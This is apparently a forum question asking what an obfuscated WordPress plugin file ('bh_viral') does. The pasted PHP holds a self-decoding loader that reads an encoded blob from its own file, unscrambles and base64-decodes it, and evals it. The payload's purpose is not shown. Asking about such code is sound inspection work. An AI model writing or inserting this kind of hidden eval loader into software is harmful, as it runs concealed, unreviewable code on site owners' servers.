Obfuscated php, Wordpress plugin?

<?php // This file is protected by copyright law and provided under license. Reverse engineering of this file is strictly prohibited.
$OOO0O0O00=__FILE__;$O00O00O00=__LINE__;$OO00O0000=40032;eval((base64_decode('JE8wMDBPME8wMD1mb3BlbigkT09PME8wTzAwLCdyYicpO3doaWxlKC0tJE8wME8wME8wMClmZ2V0cygkTzAwME8wTzAwLDEwMjQpO2ZnZXRzKCRPMDAwTzBPMDAsNDA5Nik7JE9PMDBPMDBPMD0oYmFzZTY0X2RlY29kZShzdHJ0cihmcmVhZCgkTzAwME8wTzAwLDM3MiksJ0VudGVyeW91d2toUkhZS05XT1VUQWFCYkNjRGRGZkdnSWlKakxsTW1QcFFxU3NWdlh4WnowMTIzNDU2Nzg5Ky89JywnQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLycpKSk7ZXZhbCgkT08wME8wME8wKTs=')));return;?>
kr9NHenNHenNHe1lFMamb3klFoxiC2APk19gOLlHOa9gkZXJkZwVkr9NTznNHr8XHt4JkZwShokiF2A2Yy9LcBYvcoAPF3OZfuwPcmklCBWPkr8XHenNHr8XHtXLT08XHr8XHeEXhUXmOB50cbk5d3a3D2iUUylRTlfNaaOnCAkJW2YrcrcMO2fkDApQToxYdanXAbyTF1c2BuiDGjExHjH0YTC3KeLqRz0mRtfnWLYrOAcuUrlhU0xYTL9WAakTayaBa1icBMyJC2OlcMfPDBpqdo1Vd3nxFmY0fbc3Gul6HerZHzW1YjF4KUSvkZLphUL7cMYSd3YlhtONHeEXTznNHeEpK2a2CBXPkr9NHenNHenNHtL7eWppcJEPwBYSCbYzb2a4DbY0FZImCMigfMlZCBXmhULIGX0hC2xiF3HICMigfMlZCBXIGX0hfMyZwtOvFuOpd25zTMyscUE9wtfJDy92Dbkidy9vFuOpd25zkzSYtmciFJELdo9jCBxpGMy0DB9VOo9sCBlVwe0IwMkPb3cpFMySwjSYtmciFJELfoipF3nSfBfpdmaZdtE9wtFmKX0hfMyZwtO0DolzFox1c2lVFoy0DtE9wtFmKX0hfMyZwtOvFuOpd25zwe0ICbkZCbLPhTSYtMc1dMY0DB9VwokPb3cpFMyShtl7kuOPDbHsNl9gC29VF3OZfBY0htL7gW0hcmaVC3Opd24Ib19jd25zfuk1C3WPhbSYtJOSd2YidoAINUnmcbOgdo9jCBxlhtL7eWPLdB8INUnLDbkVCB1lhy9gOLlHOa9ghUEVwtwvdoyVc3aic2azRZwIRJELfoipFZ0

<?php
if (!class_exists('bh_viral')) {
class bh_viral {
var $optionsName = 'bh_viral_options';
var $localizationDomain = "bh_viral";
var $thispluginurl = '';
var $thispluginpath = '';
var $options = array();
function bh_viral(){$this->__construct();}
function __construct(){
$locale = get_locale();
$mo = dirname(__FILE__) . "/languages/" . $this-
?>